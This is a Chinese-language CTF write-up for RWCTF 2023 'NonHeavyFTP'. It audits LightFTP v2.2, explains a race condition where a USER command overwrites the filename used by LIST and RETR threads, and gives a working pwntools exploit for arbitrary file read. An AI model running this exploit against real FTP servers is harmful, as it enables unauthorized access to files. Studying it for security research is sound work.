RWCTF 2023 NonHeavyFTP writeup

0x00 在一切之前

审计lightftp代码中出现0day漏洞。

0x01 描述

附件解压后文件如下

1
2
$ ls
Dockerfile fftp fftp.conf

查看dockerfile可知我们的目标是最新版本的ligthftp

1
wget --no-check-certificate https://codeload.github.com/hfiref0x/LightFTP/zip/refs/tags/v2.2

配置文件如下,使用anonymous加任意密码就可以登录,不过只有只读权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[ftpconfig]
port=2121
maxusers=10000000
interface=0.0.0.0
local_mask=255.255.255.255

minport=30000
maxport=60000

goodbyemsg=Goodbye!
keepalive=1

[anonymous]
pswd=*
accs=readonly
root=/server/data/

0x02 代码审计

从main.c当中的main函数开始看起。程序解析config文件后会进入ftp_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Program entry point */
int main(int argc, char *argv[])
{
//解析config文件
if (argc > 1)
cfg = config_init(argv[1]);
else
cfg = config_init(CONFIG_FILE_NAME);
···
···
···
while (cfg != NULL){
···
//主逻辑在ftpmain
if (pthread_create(&thid, NULL, &ftpmain, NULL) != 0)
{
printf("Error: Failed to create main server thread\r\n");
break;
}
}
}

在ftp_main函数中监听端口,accept后进入协议处理逻辑,ftp_client_thread逻辑中

1
2
3
4
5
6
7
8
void *ftpmain(void *p)
{
···
clientsocket = accept(ftpsocket, (struct sockaddr *)&laddr, &asz);
···
rv = pthread_create(&th, NULL, (void *(*)(void *))ftp_client_thread, &scb[i]);
···
}

ftp_client_thread中,读入ftp的命令并解析,随后调用对应的Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *ftp_client_thread(SOCKET *s)
{
···
//读入命令
if (!recvcmd(&ctx, rcvbuf, sizeof(rcvbuf)))
break;
···
//执行对应的命令
for (c = 0; c < MAX_CMDS; c++)
if (strncasecmp(cmd, ftpprocs[c].Name, cmdlen) == 0)
{
cmdno = c;
rv = ftpprocs[c].Proc(&ctx, params);
break;
}

}

其中ftpprocs是一个由命令名和对应的函数组成的结构体

1
2
static const FTPROUTINE_ENTRY ftpprocs[MAX_CMDS] = {
{"USER", ftpUSER}, {"QUIT", ftpQUIT}, {"NOOP", ftpNOOP}, {"PWD", ftpPWD}, {"TYPE", ftpTYPE}, {"PORT", ftpPORT}, {"LIST", ftpLIST}, {"CDUP", ftpCDUP}, {"CWD", ftpCWD}, {"RETR", ftpRETR}, {"ABOR", ftpABOR}, {"DELE", ftpDELE}, {"PASV", ftpPASV}, {"PASS", ftpPASS}, {"REST", ftpREST}, {"SIZE", ftpSIZE}, {"MKD", ftpMKD}, {"RMD", ftpRMD}, {"STOR", ftpSTOR}, {"SYST", ftpSYST}, {"FEAT", ftpFEAT}, {"APPE", ftpAPPE}, {"RNFR", ftpRNFR}, {"RNTO", ftpRNTO}, {"OPTS", ftpOPTS}, {"MLSD", ftpMLSD}, {"AUTH", ftpAUTH}, {"PBSZ", ftpPBSZ}, {"PROT", ftpPROT}, {"EPSV", ftpEPSV}, {"HELP", ftpHELP}, {"SITE", ftpSITE}};

0x03 漏洞挖掘思路

这种协议的漏洞无非会出现在两种地方

  1. 命令的解析部分
  2. 命令的执行部分

然后使用checksec分析一下程序的保护机制

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

发现程序保护全开,那么内存洞的利用可能就很小了,大概率是逻辑问题这种。

那么首先考虑目录穿越,但是发现读文件的时候目录穿越已经被检测到了,做过一些尝试后都不行,因此思路pass。

接着看其他的一些指令功能有没有缺陷可以导致跨目录读这种。此时注意到ftpList函数,该函数功能为查看当前文件夹下的文件列表。读取的操作使用list_thread去执行。

1
2
3
4
5
6
7
8
int ftpLIST(PFTPCONTEXT context, const char *params)
{
//构造我们要查看的文件目录
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);
···
context->WorkerThreadValid = pthread_create(&tid, NULL, (void *(*)(void *))list_thread, context);
···
}

其中CurrentDIr是我们当前所在的文件夹,RootDir是我们的工作目录,FileName是将前两者拼接后得到的我们要读取的真实目录。但注意到线程里用到了context这个结构,但并没有对这个变量做任何保护。

又注意到ftpUser函数中将输入直接拷贝到了这个context->FileName中。因此我们可以通过条件竞争控制FileName达到任意文件读的目的。

1
2
3
4
5
6
7
int ftpUSER(PFTPCONTEXT context, const char *params)
{
···
strcpy(context->FileName, params);
···
return 1;
}

0x04 漏洞利用流程

  1. 执行FtpList(此时会等待客户端再建立一个新的连接,将List后的结果通过这个连接发送)
  2. 使用FtpUser改掉context->FileName
  3. 建立新连接,读取根目录下文件列表
  4. 获取flag文件名后再重复如上操作进行任意文件读

0x05 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * 
import re
port_pattern = r'\(0,0,0,0,(\d*),(\d*)\)'

context.log_level = 'debug'
# sh = remote('localhost', 2121)
sh = remote('47.89.253.219', 2121)

sh.send(b'USER anonymous\r\n')
sh.send(b'PASS a\r\n')
sh.recvuntil(b'230 User logged in, proceed.\r\n')
sh.send(b'PASV \r\n')
sh.recvuntil(b'227 Entering Passive Mode ')
port_text = sh.recvuntil('.\r\n', drop=True)
port_result = re.findall(port_pattern, port_text.decode())[0]
port = int(port_result[0]) << 8 | int(port_result[1])
# print(port)
# pause()



sh.send(b'LIST \r\n')
sh.send(b'USER /\r\n')
recv_socket = remote('47.89.253.219', port)

sleep(1)
ls_result = recv_socket.recv()
flag_pattern = r'flag.[0-9a-f\-]*'
flag = re.findall(flag_pattern, ls_result.decode())[0]

sh.send(b'USER anonymous\r\n')
sh.send(b'PASS a\r\n')
sh.recvuntil(b'230 User logged in, proceed.\r\n')
sh.send(b'RETR hello.txt\r\n')
sh.send(('USER /{}'.format(flag)).encode('utf-8'))

sleep(1)
flag_result = recv_socket.recv()
print(flag_result)

# sh.send(b'MLSD flag.6d7be582-8e4a-11ed-9acb-0242ac110002\r\n')

sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +